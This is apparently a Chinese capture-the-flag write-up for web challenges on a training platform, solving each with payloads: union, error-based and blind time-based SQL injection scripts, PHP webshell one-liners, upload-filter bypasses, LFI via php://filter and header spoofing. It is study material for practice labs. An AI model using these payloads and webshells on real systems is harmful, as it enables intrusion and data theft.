bugkuCTFWEB部分WP

前言

之前做的今天整理下 这个有点乱不建议大家参考我的wp 这个主要是自己看的。部分的我做的时候打不开就没写。

练手地址:https://ctf.bugku.com

矛盾

矛盾
考察的是PHP弱类型
首先is_numeric()函数判断是不是数字或字符串 取反则必须要输入字符串而且这个字符串还要==1 这里用到PHP弱类型比较
如:1=1aaaa 所以构造payload:http://123.206.87.240:8002/get/index1.php?num=1
得到flag

web3

web3
禁用JS
查看源码得到下面有被注释的HTML实体
HTML实体转换成字符得到flag

你必须让他停下

你必须让他停下
禁用JS 停下来了
一共有15张图片 不停的浏览器刷新直到第十张图片出现 查看源码出现flag
或者BP repeater直到flag出现

变量1

从题中得到代码 显示包含了flag的php文件 显然flag就在flag1.php文件中的其中变量中 不知道变量 可以用超全局变量实现payload:http://123.206.87.240:8004/index1.php?args=GLOBALS

web5

web5
查看源码获得[]+等字符 复制放到js控制台回车得到ctf{whatfk}
转成大写即可

头等舱

头等舱
感觉看题目根http响应头有关,BP抓包 repeater查看HTTP返回头得到flag

网站被黑

网站被黑
御剑扫描得到后门大马
BP爆破得到密码hack输入得到flag

管理员系统

管理员系统
查看源码得到base64密文解密得到test123猜测是密码
输入显示IP被禁 BP抓包 修改XFF字段为127.0.0.1
X-forwarded-For:127.0.0.1 发送得到flag

web4

web4
查看源码得到经过url编码的JS 解码得到原来的JS拼接
注意一共有三段 两段URL编码的JS分别在p1和p2JS变量中
还有一段在eval()汉中里面的unescape()函数中 这段拼接在中间得到 完整JS函数 由函数得知输入相应值 即可将解码出来的值放进去即可得到flag

flag在index里

flag在index里
点了几下看url跟题目联想得出是文件包含包含index.php即可
payload:http://123.206.87.240:8005/post/index.php?file=php://filter/convert.base64-encode/resource=index.php
得到base64编码解码得到index.php源码 源码中有flag

输入密码查看flag

输入密码查看flag
BP设置五位数字爆破即可。。

点击一百万次

点击一百万次
复制原先JS吧js判断条件改成1即可然后点一次BP抓包
在包中可以看到 有个clicks=1 把1改成1000000提交得到flag

备份是个好习惯

备份是个好习惯
看到首页有一段CMD5解密得出空
猜测备份文件index.bak 或者御剑扫描得出源码

必备知识:
$_SERVER[‘REQUEST_URI‘]获取URL值
先学PHP几个函数
strstr()搜索字符串在另一字符串中的第一次出现
substr()返回字符串的一部分()
str_replace()以其他字符替换字符串中的一些字符

原网页
代码意思是传入一个key= 即可和原来的经过cmd5加密的相匹配即可 可是在出现str_replace()的地方把key给滤了 所以想办法绕过这个函数过滤即可写出kekeyy即可
payload:http://123.206.87.240:8002/web16/index.php?kekeyy2=

成绩单

成绩单
成绩查询
输入数字1,2,3试了下 能查询到感觉像SQL注入直接上BP
测试注入

id=1‘ order by 5#
id=5‘ union select 1,database(),version(),4#
id=5‘union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()#
id=5‘union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name=‘fl4g‘#
id=5‘union select 1,group_concat(skctf_flag),3,4 from fl4g#

最后得到flag

秋名山老司机

秋名山老司机

import requests
import re
url = ‘http://123.206.87.240:8002/qiumingshan/‘
s = requests.Session()
source = s.get(url)
print source
expression = re.search(r‘(\d+[+\-*])+(\d+)‘, source.text).group()
#re.search(pattern,string,flags=0)扫描整个字符串并返回第一个成功的匹配
#pattern:匹配的正则表达式
#string:要匹配的字符串
#flags:标志位,用于控制正则表达式的匹配方式
#group()匹配整个表达式字符串
print expression
result = eval(expression)
post = {‘value‘: result}
print(s.post(url, data = post).text)

速度要快

速度要快
查看源码获得这个信息提示margin post提交
OK ,now you have to post the margin what you find
BP抓包 获得flag 头base64解码得到:
跑的还不错,给你flag吧: MzY5Nzg1(后面的值每次都不一样)
还可以再base64解码 BP post提交不行
只能写脚本了
eg:

import requests
import base64
url="http://123.206.87.240:8002/web6/"
s=requests.Session()

headers=s.get(url).headers
str1=base64.b64decode(headers[‘flag‘])
str2=base64.b64decode(str1.split(‘:‘)[1])

data={‘margin‘:str2}
flag=s.post(url,data=data)
print(flag.text)

cookie欺骗

cookie欺骗
打开发现url?line=&filename=a2V5cy50eHQ=
base64解码出key.txt 想到试试包含index.PHP
base64加密放到同样的位置啥都没
修改URL中line=1 出现第一行源码依次类推写了个脚本

import requests
a=30
url="http://123.206.87.240:8002/web11/index.php"
shuju=""
i=0
for i in range(a):
data={‘line‘:i,‘filename‘:‘aW5kZXgucGhw‘}
re=requests.get(url,params=data)
shuju+=re.text
print(shuju)

搞出index全部源码 发现
if(isset($_COOKIE[‘margin‘]) && $_COOKIE[‘margin‘]==‘margin‘){
$file_list[2]=‘keys.php‘;
}
这样一段 修改cookie 修改URL filename=key.php(base64位加密后的)
修改cookie为 margin=margin 在BP抓包中在headers中直接添加Cookie:margin=margin发送即可得到flag
payload:http://123.206.87.240:8002/web11/index.php?line=2&filename=a2V5cy5waHA=
头部部分:Cookie:margin=margin

login1(SKCTF)

login1(SKCTF)
题目提示了sql约束攻击 百度看资料了解到
注册一个新的账户 :admin (注意要有空格)密码随意
然后使用自己注册的账户登录即可
参考:
https://www.freebuf.com/articles/web/124537.html

never give up

never give up
1.查看源码获得1p.html
2.以源码方式访问1p.html
3.URL转码 base64转码得到PHP代码
4.在代码中找到flag的文件
f4l2a3g.txt
payload:http://123.206.87.240:8006/test/f4l2a3g.txt

字符?正则?

字符?正则?
基础
定界符:/和/(一般来说是这两个,其实除了\和字母数字其它的只要是成对出现都可以看做定界符,比如##、!!之类的);
. (一个点):表示可以匹配任何字符;
* :前面的字符重复零次或多次;
{n,m} :前面的字符重复4~7次
\ (反斜线):后面的字符被转义
[a-z] :在a到z中匹配
[[:punct:]] :匹配任何标点符号;
/i :表示这个正则表达式对大小写不敏感;

根据页面中的正则表达式进行构造 构造出keyaakeyaaaaaakey:/a/aakeya! GET提交获得flag
payload:http://123.206.87.240:8002/web10/index.php?id=keyaakeyaaaaaakey:/a/aakeya!
参考学习:https://blog.csdn.net/destiny1507/article/details/82429521
https://www.cnblogs.com/afarmer/archive/2011/08/29/2158860.html

前女友(SKCTF)

前女友(SKCTF)
点击 链接二字 跳转到源码
利用md5不能处理数组命令即可绕过cmd5对比
payload:http://123.206.31.85:49162/index.php?v1[]=1&v2[]=2&v3[]=2222

你从哪里来

你从哪里来
看到页面说来自google BP抓包 Repeater里面增加HTTP头字段Referer:https://www.google.com 发送即可得到flag

md5 collision(NUPT_CTF)

md5 collision(NUPT_CTF)
看到页面提示输入a 联想的get试试a=1测试false 想到根md5
碰撞有关 利用cmd5漏洞进行提交
payload:http://123.206.87.240:9009/md5.php?a=s878926199a

程序员本地网站

程序员本地网站
BP抓包 改 X-forwarded-For:127.0.0.1 提交即可

各种绕过[考察点:shar()函数漏洞]

各种绕过
利用sha1()函数无法处理数组即可
sha1($_GET[‘uname‘]) === sha1($_POST[‘passwd‘])
sha1()无法处理返回false
sha1()无法处理返回false
false===false

payload:http://123.206.87.240:8002/web7/index.php?uname[]=1&id=margin
POST 部分passwd[]=1111
即可绕过得到flag
参考学习:https://blog.csdn.net/zhaohansk/article/details/44153141

web8

extract()函数从数组中奖变量导入到当前的符号表
trim()-移除字符串两侧的空白字符或其他预定义字符
file_get_contents()把整个文件读入一个字符串中
根据题目猜测到根目录有flag.txt 看到flag文本里面的内容
因为f=flag.txt里面的内容 ac===f 所以ac要给传flag.txt里面的文本即可全等达到要求。
最后构造
payload:http://123.206.87.240:8002/web8/index.php?ac=flags&fn=flag.txt

细心

细心
扫描得到robots.txt发现新页面
访问新页面得到显示不是管理员IP被记录
但发现了if ($_GET[x]==$password)
BP GET爆破 值是admin....
get传输进去获得flag

求getshell

求getshell
想办法上传马
试了好几种上传绕过都不行看大佬WP
一共要有三种过滤
请求头部的Content-Type
文件后缀
请求数据的Content-Type

文件后缀依次尝试php1 php2 php3 phtml phtm php5 phps等
最终php5可以绕过所以这个过滤应该是通过黑名单进行过滤的

请求数据的Content-Type字段改为image/jpeg即可

头部的Content-Type大小写绕过: multiPart/form-data;

参考学习
https://blog.csdn.net/xiaojianpitt/article/details/6856536
https://www.jianshu.com/p/81f797d5a8e3
https://www.cnblogs.com/amyzhu/p/9992753.html

INSERT INTO注入

INSERT INTO注入
INSERT INTO huahua(name) VALUE(‘111‘+sleep(5));

insert into huahua(name) values(‘1‘+(select case when(1=1) then sleep(3) else 0 end));

substr(database() from 1 for 1) = substr(database(),1,1)

insert into huahua(name) values(‘1‘+(select case when(1=1) then sleep(3) else 0 end));

//脚本 灵活应变header里面的 和循环次数

import requests

url="http://123.206.87.240:8002/web15/"
allString=‘‘‘1234567890~`[email protected]#$%^&*()-_=+[]{};:‘"|\,<.>/?qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM‘‘‘
database=‘‘
flag=1
for i in range(1,32):
for j in allString:
header={
#数据库名 web15 "X-Forwarded-For":"1‘+(select case when (ascii(substr(database() from %d for 1))=%d) then sleep(3) else 0 end))#"%(i,ord(j))
#表名 client_ip,flag "X-Forwarded-For":"1‘+(select case when (ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()) from %d for 1))=%d) then sleep(3) else 0 end))#"%(i,ord(j))
#字段名 flag"X-Forwarded-For":"1‘+(select case when (ascii(substr((select group_concat(column_name) from information_schema.columns where table_name=‘flag‘) from %d for 1))=%d) then sleep(3) else 0 end))#"%(i,ord(j))
"X-Forwarded-For":"1‘+(select case when (ascii(substr((select group_concat(flag) from flag) from %d for 1))=%d) then sleep(3) else 0 end))#"%(i,ord(j))

}
r=requests.get(url,headers=header)
t=r.elapsed.total_seconds()
print(‘the time of‘+j+‘is‘+str(t))
if t >=3 and t < 4:
database=database+j
print(‘the ‘+str(i)+‘place of database is‘+j)
break
elif t<3 and j==‘M‘:
flag=0
break
if flag==0:
break
print(‘DATABASE:‘,database)

多次

多次
注入题
判断过滤了那些语句

id=1‘^(length(‘union‘)!=0)--+
id=1‘^(length(‘select‘)!=0)--+
id=1‘^(length(‘or‘)!=0)--+

过滤的部分双写即可绕过
payload:

id=-1‘ uniounionn seleselectct 1,2--+
id=-1‘ uniounionn seleselectct 1,group_concat(table_name) from infoorrmation_schema.tables where table_schema=database()--+
id=-1‘ uniounionn seleselectct 1,group_concat(column_name) from infoorrmation_schema.columns where table_name=‘flag1‘--+
id=-1‘ uniounionn seleselectct 1,group_concat(flag1,address) from flag1--+

发现新的页面继续判断注入 这次我们可以随便使用各报错注入
使用updatexml报错注入
payload:

id=1‘ and updatexml(1,concat(0x7e,(SELECT DATABASE()),0x7e),1)--+
得到:数据库名:web1002-2
id=1‘ and updatexml(1,concat(0x7e,(SELECT GROUP_CONCAT(table_name) FROM information_schema.tables where table_schema="web1002-2"),0x7e),1)--+
得到表名:~class,flag2~
id=1‘ and updatexml(1,concat(0x7e,(SELECT GROUP_CONCAT(column_name) FROM information_schema.columns where table_name="flag2"),0x7e),1)--+
得到字段名:~flag2,address~
id=1‘ and updatexml(1,concat(0x7e,(SELECT GROUP_CONCAT(flag2,‘:‘,address) FROM flag2),0x7e),1)--+
得到flag: flag{Bugku-sql_6s-2i-4t-bug}

文件包含2[考察点:文件包含2]

文件包含2
打开查看源码发现上传文件
上传图片马即可解析成php 但是过滤了<?等
方法1

新建图片文件输入

<script language=php>system("ls")</script>

上传进去访问得到当前目录下的flag文件访问文件页面得到flag
方法2

<script language=php>eval($_POST[‘xiaohua‘]);</script>

菜刀连接目录下有flag文件查看即可
方法3
普通一句话会被过滤,这里构造

<?=eval($_POST[‘shell‘]);>

参考来源
https://blog.csdn.net/weixin_43571641/article/details/84667126
https://blog.csdn.net/qq_33417843/article/details/79756682

flag.php [考察点:序列化漏洞]

flag.php
没思路看wp
看提示有hint在后面加上hint
得出源码
http://123.206.87.240:8002/flagphp/?hint
得到源码
核心在这一块乍一看和后面的一段变量有关其实并无关系因为这个是字符串包裹的不是变量!!!
核心代码:elseif (unserialize($cookie) === "$KEY")
还是看核心这里有个恢复$cookie这个变量里面的值 要等于字符串$KEY 这时其实我们把字符串$KEY 序列化 本地序列化得出值s:0:"";

再联系上面的这段代码$cookie = $_COOKIE[‘ISecer‘]; 得知键值是ISecer 构造出:ISecer=s:0:"";
Cookie:ISecer=s:0:""; BP抓包发送得到flag
参考学习:
https://www.runoob.com/php/php-serialize-function.html

sql注入2

sql注入2
看了WP才知道跟SQL毛关系都没
利用wvs扫描得出.DS_Store目录
利用ds利用工具 得出falg文件打开获得flag

login3(SKCTF)

login3(SKCTF)

有疑惑:
参考学习
https://blog.csdn.net/zpy1998zpy/article/details/80667775
脚本:

import requests

str_all="1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ {}+-*/="
url="http://123.206.31.85:49167/index.php"

resutlt=""
for i in range(40):
for j in str_all:
payload="admin‘^(ascii(mid((select(password)from(admin))from({})))<>{})^0#".format(str(i),ord(j))

data={
"username":payload,
"password":"1222"
}
s=requests.post(url,data=data)

if "error" in s.text:
resutlt+=j
print(resutlt)
break;

解出来的值cmd5解密 再配合admin登陆得到flag

Trim的日记本

Trim的日记本
御剑扫描 发现shouw.php打开 发现flag................

剩余部分待更.....

原文地址:https://www.cnblogs.com/xhds/p/12275573.html

时间: 2024-10-08 20:36:38

bugkuCTFWEB部分WP的相关文章

微信公众号支付安卓和WP支付成功,苹果不能支付!

花了几天时间,终于搞好了,代码是从官网上下的.NET DEMO的代码改的,测试的时候发现安卓和WP手机都能进行支付,但是苹果的怎么支付都支付不了,主要是在下面这个界面 点支付按钮就是苹果支付不了,其他手机都能支付.搞了几天,本来应该是昨天应该搞出来的,但昨天不知道怎么回事同事的iphone加上电脑上的finddler 就是抓 不了包. 今天又再设置了一次finddler, 发现又 可以抓 到包了...结果在抓包的时候看生成的支付页面的代码,才发现问题: 如图, 那个DEMO生成的支付按钮是sut

[All in one WP Migration plugin] 搬迁wordpress 站点

为了方便大家去轻松的migrate 一个wordpress站点, 有developer开发出了一款插件----------All in one WP Migration ;这样大家就可以不用像之前一样要去分别备份数据库和网站文件了; 1. 首先, 在需要搬迁的旧站点和新站点的后台都需要去安装这个 All in one WP Migration plugin; 2. 在旧站点, 右键plugin, 点击export, 这样的操作是为了导出整个网站的备份文件. 需要注意的细节如下; 2.1> 点击右

C#学习(九)之Windows Store App &amp; WP 开发小记(一)

由于课程已经讲述完毕,所以本次学习记录就讨论记录一下我在Windows Store App & WP开发中遇到的一些问题与收获. 一.数据库(Sqlite)的使用 虽然资料很难找,但sqlite在这两个平台的使用还是很简单的. 首先是环境配置阶段: 1.工具->拓展与更新->联机,然后在右上搜索sqlite,之后下载安装下图两个打勾的拓展包,注意要重启VS方才生效. 2.项目->管理NuGet程序包->联机,搜索sqlite,安装下图打勾内容,如果项目多出下图两个文件即安装

WordPress缓存插件WP Super Cache的使用及常见问题解决

WP Super Cache是一款很好的WordPress优化插件,是我用过最好的一款缓存插件.打开WordPress后台搜索插件页面,第一个就是这个插件,可想而知他的地位有多厉害了. 什么是WP Super Cache? WP Super Cache从你的动态Wordpress Blog中生成静态的html文件.当一个html文件生成后,你的服务器就会用显示这个文件来取代处理相对而言需要更大工作量和更多WordPress PHP脚本的动作. 生成的静态html文件会为你的绝大部分用户服务,除了

WordPress插件:WP No Category Base 去除分类Category目录

不少折腾WordPress的朋友都希望去掉分类链接中的 /category/ 目录标志,网上很多这方面的教程,据倡萌所知,除了使用 WP No Category Base 插件(或类似插件),其他的方法都是不太完美的.WordPress大学目前也去掉了/category/ 目录,使用的正是 WP No Category Base 插件. WP No Category Base 插件功能简单,就是仅仅为了去除 /category/ 目录标志,直接安装,不需要任何设置就可以使用. WP No Cat

wp super cache无法预缓存问题

突然发现wp-super-cache无法预缓存,点击[立即加载预缓存]后没有任何效果,并且垃圾回收定时器也失效了,缓存文件全是几天前的,感觉很奇怪!闲下来的时候,突然想起前些天对博客做的一些优化,于是回头挨个去检查,最终发现导致预缓存和定时器失效的原因是因为我优化的时候禁用了WP Cron的功能! 下面这段摘自V7V3的优化教程: 5.禁用WP Cron(我们知道WordPress有个进程专门用来在指定的时间周期或者将来的某个时间点运行特定的任务,比如定时发布某篇日志,这个功能WordPress

WP装逼研究:如何营造让人花钱的游戏

游戏是最好做也是最不好做的项目,游戏的好坏现在都是直接从数据来说话,Windows Phone的游戏应用同样不可能逃出这个行业准则,要说在市场里做的好,那就直接拿数据来说,几乎没人会去在乎游戏到底传达了什么,一刀切看收入,如果解决用户量的问题,下一步一定是收入问题,今天的装逼研究就是探讨如何营造让人花钱的游戏. <我叫MT>.<魔卡幻想>2013年爆出在Windows Phone平台中500万/月流水的消息,引得2014年一片抢滩争夺WP,单单从数据来说,这应该是Windows P

我的【学WP开发】应用开发历程

没有谁一开始就是开发大神,希望会从[学WP开发]应用摸索中成长,我会努力从新手小白蜕变成一名大神WP开发者,你,也可以! 先介绍一下我自己吧,我的微博昵称叫@ViiBoo-维柏,大家也可以叫我维柏,我是一名中专的学生,我对于WP开发者来说,也不过是一个小白而已,我学WP开发的时间很短,也就几个月的时间,甚至连C#的课程都没有学完,但我对于WP开发的热爱,导致于我的第一个应用[学WP开发]匆匆上线了. 刚开始的[学WP开发]的第一个版本说实话,真的很烂,虽然我只是一个开学C#的小白,但我第一次接触

使用多字节字符集的跨平台(PC、Android、IOS、WP)编码/解码方法

随着移动端的发展,跨平台已成为通讯架构设计的重要考虑因素,PC.Android.IOS.WP等跨多平台间的数据通讯,必然要解决字符编码/解码的问题. 多字节字符集MBCS不是跨平台的首选字符集,面向跨平台.国际化的推荐字符集肯定是UNICODE. 写VC的人都知道,在以前VC++6.0中默认的字符集是多字节字符集,而VS2005及以后默认的字符集是Unicode,VS2013中默认不再对多字节字符串进行支持. 但对很多较早的服务端项目,依然使用的是多字节字符集,不过使用多字节字符集依然可以实现跨